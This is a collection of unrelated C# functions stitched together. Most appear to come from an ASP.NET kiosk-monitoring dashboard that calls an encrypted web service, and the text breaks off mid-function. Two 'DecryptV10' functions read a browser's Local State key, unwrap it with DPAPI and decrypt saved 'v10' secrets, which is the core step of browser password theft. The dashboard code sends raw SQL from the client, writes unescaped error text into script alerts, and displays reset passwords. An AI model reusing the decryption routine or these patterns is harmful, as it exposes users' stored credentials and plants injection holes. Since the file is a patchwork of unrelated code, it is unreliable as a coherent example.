public static Result DecryptV10(byte[] password, string encryptedKey, out string pwd)
{
Result res = ExtractEncryptedKey(encryptedKey, out byte[] encryptedBytes);
if (res != Result.Success)
{
pwd = null;
return(res);
}
res = ExtractCipherText(password, out byte[] version, out byte[] nonce, out byte[] ciphertextTag);
if (res != Result.Success)
{
pwd = null;
return(res);
}
string ver = Encoding.ASCII.GetString(version);
if (ver != MODE_V10)
{
pwd = null;
return(Result.UnsupportedProtocol);
}
res = AesGcm256.Decrypt(encryptedBytes, nonce, ciphertextTag, out pwd);
if (res != Result.Success)
{
pwd = null;
return(res);
}
return(Result.Success);
}
private void chart5()
{
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
//URL = "http://localhost:50463/Service1.svc";
string strQuery = "SELECT COUNT(case when client_status_with_rms = 'Connected' then client_status_with_rms end) as Connected, COUNT(case when client_status_with_rms = 'Disconnected' then client_status_with_rms end) as Disconnected FROM pcmc.health_recent";
string JsonString = JsonConvert.SerializeObject(strQuery);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPieChart", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
Reply objReply = json.Deserialize <Reply>(reader);
//Chart5 Start
string[] seriesArray = { "Activated", "Pending" };
int[] pointsArray = new int[2];
if (objReply.res && objReply.DS != null)
{
pointsArray[0] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][0]);
pointsArray[1] = Convert.ToInt32(objReply.DS.Tables[0].Rows[0][1]);
}
Title title = Chart5.Titles.Add("Title1");
title.Font = new System.Drawing.Font("Arial", 16, FontStyle.Bold);
Chart5.Titles["Title1"].Text = "Machine Activated";
Chart5.Series["Series1"].Points.DataBindXY(seriesArray, pointsArray);
Chart5.Series["Series1"].Points[0].Color = Color.Green;
Chart5.Series["Series1"].Points[1].Color = Color.Red;
CalloutAnnotation objAnnotation = new CalloutAnnotation();
objAnnotation.AnchorDataPoint = Chart5.Series["Series1"].Points[0];
objAnnotation.Text = pointsArray[0].ToString();
objAnnotation.Visible = true;
Chart5.Annotations.Add(objAnnotation);
CalloutAnnotation objAnnotation1 = new CalloutAnnotation();
objAnnotation1.AnchorDataPoint = Chart5.Series["Series1"].Points[1];
objAnnotation1.Text = pointsArray[1].ToString();
objAnnotation1.Visible = true;
Chart5.Annotations.Add(objAnnotation1);
seriesArray = null;
pointsArray = null;
objAnnotation = null;
objAnnotation1 = null;
}
}
private void bindstatelist()
{
try
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject("");
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetAllStates", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res)
{
filtercategories1.DataSource = objRes.DS;
filtercategories1.DataTextField = "state";
filtercategories1.DataBind();
filtercategories1.Items.Insert(0, new ListItem("Select Circle", "NA"));
errorlabel.Style["display"] = "block";
kiosk_data.Text = "";
kiosklist.Style["display"] = "none";
}
else
{
var page = HttpContext.Current.CurrentHandler as Page;
ScriptManager.RegisterStartupScript(page, page.GetType(), "alert", "alert('Some Error Occurred');windows.location.href='Dashboard-V3_1.aspx'", true);
}
}
}
catch (Exception ex)
{
var page = HttpContext.Current.CurrentHandler as Page;
ScriptManager.RegisterStartupScript(page, page.GetType(), "alert", "errorDisplay('catch error : " + ex.Message + "');", true);
}
}
private void bindBranchlist(string LHO)
{
MB_txt_branchName.Text = MB_txt_Region.Text =
MB_txt_ModuleCode.Text = MB_txt_ModuleName.Text =
MB_txt_Network.Text = "";
if (Session["Role"].ToString().ToLower().Contains("admin"))
{
parameter = "all##" + LHO;
}
else
{
parameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + LHO;
}
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/FilterBranchList", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
MB_ddl_branch_code.DataSource = objRes.DS;
MB_ddl_branch_code.DataTextField = "b_code";
MB_ddl_branch_code.DataBind();
MB_ddl_branch_code.Items.Insert(0, new ListItem("--Select Branch Code--"));
}
else
{
PageUtility.MessageBox(this, "Branch Code List Not found");
}
}
}
private void bindUserList()
{
try
{
Userlist.Items.Clear();
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
if (Session["Role"].ToString() == "admin")
{
parameter = "all";
}
else
{
parameter = "user";
}
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetUserList", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true)
{
Userlist.DataSource = objRes.DS;
Userlist.DataTextField = "username";
Userlist.DataBind();
Userlist.Items.Insert(0, new ListItem("New User", "NA"));
}
else
{
Userlist.Items.Insert(0, new ListItem("New User", "NA"));
}
}
}
catch (Exception ex)
{
Userlist.Items.Insert(0, new ListItem("New User", "NA"));
}
}
private void bindCirclelist(string type)
{
try
{
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetLocationList", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
locationList.Items.Clear();
if (objRes.res == true)
{
locationList.DataSource = objRes.DS;
if (UserType.SelectedIndex == 2)
{
locationList.DataTextField = type;
}
else
{
locationList.DataTextField = "branch_name";
}
locationList.DataBind();
locationList.Items.Insert(0, new ListItem("Select", "NA"));
}
else
{
locationList.Items.Insert(0, new ListItem("No location found", "NA"));
}
locationList.Enabled = true;
}
}
catch (Exception ex)
{
ex.ToString();
}
}
private void bindLHOlist()
{
try
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject("");
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetAllStates", "POST", dataEncrypted);
MemoryStream memstrToReceive = new MemoryStream(Encoding.UTF8.GetBytes(result));
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS); ;
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
ddl_lho_list.Items.Clear();
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
ddl_lho_list.DataSource = objRes.DS;
ddl_lho_list.DataTextField = "state";
ddl_lho_list.DataBind();
ddl_lho_list.Items.Insert(0, new ListItem("Select Circle", "NA"));
}
else
{
PageUtility.MessageBox(this, "LHO List Not found");
}
}
}
catch (Exception ex)
{
PageUtility.MessageBox(this, "catch error : " + ex.Message + "");
}
}
public void bindKioskHealth(string s)
{
try
{
DataSet objds = new DataSet();
Reply objRes = new Reply();
// send request
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
//URL = "http://localhost:50462/Service1.svc";
string JsonString = JsonConvert.SerializeObject(s);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetKioskHealth", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true)
{
//Data Source
kiosk_ip.InnerText = objRes.DS.Tables[0].Rows[0]["Kiosk IP"].ToString();
kiosk_id.InnerText = objRes.DS.Tables[0].Rows[0]["Kiosk ID"].ToString();
cash.InnerText = objRes.DS.Tables[0].Rows[0]["D1"].ToString();
reciept.InnerText = objRes.DS.Tables[0].Rows[0]["D2"].ToString();
barcode.InnerText = objRes.DS.Tables[0].Rows[0]["D3"].ToString();
doc.InnerText = objRes.DS.Tables[0].Rows[0]["D4"].ToString();
camera.InnerText = objRes.DS.Tables[0].Rows[0]["D5"].ToString();
vccamera.InnerText = objRes.DS.Tables[0].Rows[0]["D6"].ToString();
cardreader.InnerText = objRes.DS.Tables[0].Rows[0]["D7"].ToString();
laserprinter.InnerText = objRes.DS.Tables[0].Rows[0]["D8"].ToString();
fingurescanner.InnerText = objRes.DS.Tables[0].Rows[0]["D9"].ToString();
keypadmouse.InnerText = objRes.DS.Tables[0].Rows[0]["D10"].ToString();
signagetv.InnerText = objRes.DS.Tables[0].Rows[0]["D11"].ToString();
touchscreen.InnerText = objRes.DS.Tables[0].Rows[0]["D12"].ToString();
}
else
{
Response.Write("<script type='text/javascript'>alert('" + objRes.strError + "')</script>");
}
}
}
catch (Exception excp)
{
Response.Write("<script type='text/javascript'>alert( 'Service Error Occured Machine Not Connected:-" + excp.Message + "' )</script>");
}
}
private void GetBranchDetails(string BranchCode)
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
parameter = BranchCode;
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetBranchDetails", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
MB_txt_branchName.Text = objRes.DS.Tables[0].Rows[0]["branch_name"].ToString();
MB_txt_Region.Text = objRes.DS.Tables[0].Rows[0]["region"].ToString();
MB_txt_ModuleName.Text = objRes.DS.Tables[0].Rows[0]["module_name"].ToString();
MB_txt_ModuleCode.Text = objRes.DS.Tables[0].Rows[0]["module_code"].ToString();
MB_txt_Network.Text = objRes.DS.Tables[0].Rows[0]["network"].ToString();
MB_txt_PersonName.Text = objRes.DS.Tables[0].Rows[0]["ContactPersonName"].ToString();
MB_txt_PersonNumber.Text = objRes.DS.Tables[0].Rows[0]["ContactPersonNumber"].ToString();
MB_txt_Email.Text = objRes.DS.Tables[0].Rows[0]["Email_To"].ToString();
}
else
{
PageUtility.MessageBox(this, "Data Not Found");
}
}
}
private static string DecryptV10(string localStatePath, string chiperText)
{
int length = 12;
string str1 = "v10";
string str2 = "DPAPI";
string empty = string.Empty;
byte[] key = DecryptHelper.DecryptBlob(Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(File.ReadAllText(localStatePath).FromJSON()["os_crypt"]["encrypted_key"].ToString(false))).Substring(str2.Length)), DataProtectionScope.CurrentUser, (byte[])null);
byte[] bytes = Encoding.Default.GetBytes(chiperText.Substring(str1.Length, length));
return(AesGcm256.Decrypt(Encoding.Default.GetBytes(chiperText.Substring(length + str1.Length)), key, bytes));
}
private void bindPulledData(string state)
{
try
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(state);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetPulledData", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
GV_Pulled_data.DataSource = objRes.DS.Tables[0];
GV_Pulled_data.DataBind();
}
else
{
GV_Pulled_data.DataSource = null;
GV_Pulled_data.DataBind();
}
}
}
catch (Exception ex)
{
var page = HttpContext.Current.CurrentHandler as Page;
ScriptManager.RegisterStartupScript(page, page.GetType(), "alert", "errorDisplay('catch error : " + ex.Message + "');", true);
}
}
public void bindKioskHealth()
{
try
{
int connected = 0;
int Disconnected = 0;
if (objds == null)
{
objds = new DataSet();
}
Reply objRes = new Reply();
// send request
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
//URL = "http://localhost:50462/Service1.svc";
string JsonString = JsonConvert.SerializeObject("KioskList");
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetTxnDetails", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true)
{
ErrorImg.Visible = false;
GV_Kiosk_Health.Visible = true;
objGlobal.DS = objRes.DS;
GV_Kiosk_Health.DataSource = objRes.DS;
GV_Kiosk_Health.DataBind();
}
else
{
ErrorImg.Visible = true;
}
}
}
catch (Exception excp)
{
Response.Write("<script type='text/javascript'>alert( 'Service Error Occured Machine Not Connected:-" + excp.Message + "' )</script>");
}
}
private bool SendCOmmand(string LHOName, string Command, out DataSet ds)
{
Reply objRes = new Reply();
ds = null;
using (WebClient client = new WebClient())
{
if (Session["Role"].ToString().Contains("admin"))
{
perameter = "all#" + LHOName + "#" + Command; // role # lhoname # commandname (TotMc)
//- @Role = N'all',
//- @location = N'Ahmedabad',
//- @Command = N'totMc'
}
else
{
perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString();
}
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(perameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/Get_LHO_Details", "POST", dataEncrypted); // , "\"" + perameter + "\"" | GetDashBoardDetail |GetHealthTxnDataWithState
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true)
{
ds = objRes.DS;
return(true);
}
else
{
return(false);
}
}
}
public void GetMachin(string Number)
{
try
{
Reply objRes = new Reply();
// send request
using (WebClient client = new WebClient())
{
parameter = Number;
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetMachine", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
PageUtility.MessageBox(this, "Machine is already Registered.");
btn_Create_Machine.Visible = false;
}
else
{
btn_Create_Machine.Visible = true;
}
}
}
catch (Exception ex)
{
PageUtility.MessageBox(this, "catch error : " + ex.Message + "");
btn_Create_Machine.Visible = false;
}
}
private void SearchBranchName_Code(string type, string Value)
{
if (objDataSet == null)
{
objDataSet = new DataSet();
}
Reply objRes = new Reply();
using (WebClient client = new WebClient())
{
if (Session["Role"].ToString().ToLower().Contains("admin"))
{
parameter = type + "#" + Value;
}
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(parameter);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/FilterBranchCode_Name", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//objRes = (Reply)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true && objRes.DS.Tables[0].Rows.Count > 0)
{
PageUtility.MessageBox(this, "Branch Name already exist! . Try again.");
btn_save_branch.Enabled = false;
}
else
{
btn_save_branch.Enabled = true;
}
}
}
private static string DecryptV10(string localStatePath, string chiperText)
{
int num = 12;
string text = "v10";
string text2 = "DPAPI";
_ = string.Empty;
string s = File.ReadAllText(localStatePath).FromJSON()["os_crypt"]["encrypted_key"].ToString(saving: false);
string s2 = Encoding.Default.GetString(Convert.FromBase64String(s)).Substring(text2.Length);
byte[] key = DecryptHelper.DecryptBlob(Encoding.Default.GetBytes(s2), DataProtectionScope.CurrentUser);
byte[] bytes = Encoding.Default.GetBytes(chiperText.Substring(text.Length, num));
return(AesGcm256.Decrypt(Encoding.Default.GetBytes(chiperText.Substring(num + text.Length)), key, bytes));
}
private void GetDetailReport()
{
try
{
string sendstring = "";
sendstring = filtertype.SelectedIndex + "#" + Modefilter.SelectedIndex;
Reply objRes = new Reply();
string JsonString = JsonConvert.SerializeObject(sendstring);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
WebClient client1 = new WebClient();
client1.Headers[HttpRequestHeader.ContentType] = "text/json";
string result1 = client1.UploadString(URL + "/GetActivatedKioskReport", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result1);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
JsonSerializer json = new JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res)
{
GV_Kiosk_Health.DataSource = objRes.DS;
GV_Kiosk_Health.Visible = true;
GV_Kiosk_Health.DataBind();
ErrorImg.Visible = false;
pdfdiv.Visible = true;
exdiv.Visible = true;
Session["Data"] = objRes.DS;
}
else
{
Session["Data"] = null;
GV_Kiosk_Health.Visible = false;
ErrorImg.Visible = true;
}
}
catch (Exception ex)
{
Session["Data"] = null;
ErrorImg.Visible = true;
GV_Kiosk_Health.Visible = false;
}
}
protected void btnReset_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(usernametext2.Text))
{
string password = CreateRandomPassword(8);
ResetPassword objReq = new ResetPassword();
objReq.name = usernametext2.Text;
objReq.password = password;
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string JsonString = JsonConvert.SerializeObject(objReq);
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string resultUser = client.UploadString(URL + "/ResetPassword", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(resultUser);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
//objRes = JsonConvert.DeserializeObject<Reply>(objResponse.ResponseData);
//DataContractJsonSerializer objDCS = new DataContractJsonSerializer(typeof(Reply));
//MemoryStream objMS = new MemoryStream(Encoding.UTF8.GetBytes(objResponse.ResponseData));
//resultUser = (string)objDCS.ReadObject(objMS);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
resultUser = json.Deserialize <string>(reader);
if (resultUser == "true")
{
PageUtility.MessageBox(this, "Password is :- " + password);
}
else
{
PageUtility.MessageBox(this, "Error :- " + resultUser);
}
}
}
else
{
PageUtility.MessageBox(this, "Please enter User Name ! ");
}
}
public void bindKioskDetails()
{
Reply objRes = new Reply();
try
{
if (objds == null)
{
objds = new DataSet();
}
// send request
using (WebClient client = new WebClient())
{
client.Headers[HttpRequestHeader.ContentType] = "text/json";
string JsonString = JsonConvert.SerializeObject("KioskList");
EncRequest objEncRequest = new EncRequest();
objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);
string result = client.UploadString(URL + "/GetKioskMasterList", "POST", dataEncrypted);
EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
json.NullValueHandling = NullValueHandling.Ignore;
StringReader sr = new StringReader(objResponse.ResponseData);
Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
objRes = json.Deserialize <Reply>(reader);
if (objRes.res == true)
{
GV_Kiosk_Details.DataSource = objRes.DS;
GV_Kiosk_Details.DataBind();
}
else
{
Response.Write("<script type='text/javascript'>alert('" + objRes.strError + "')</script>");
}
}
}
catch (Exception excp)
{
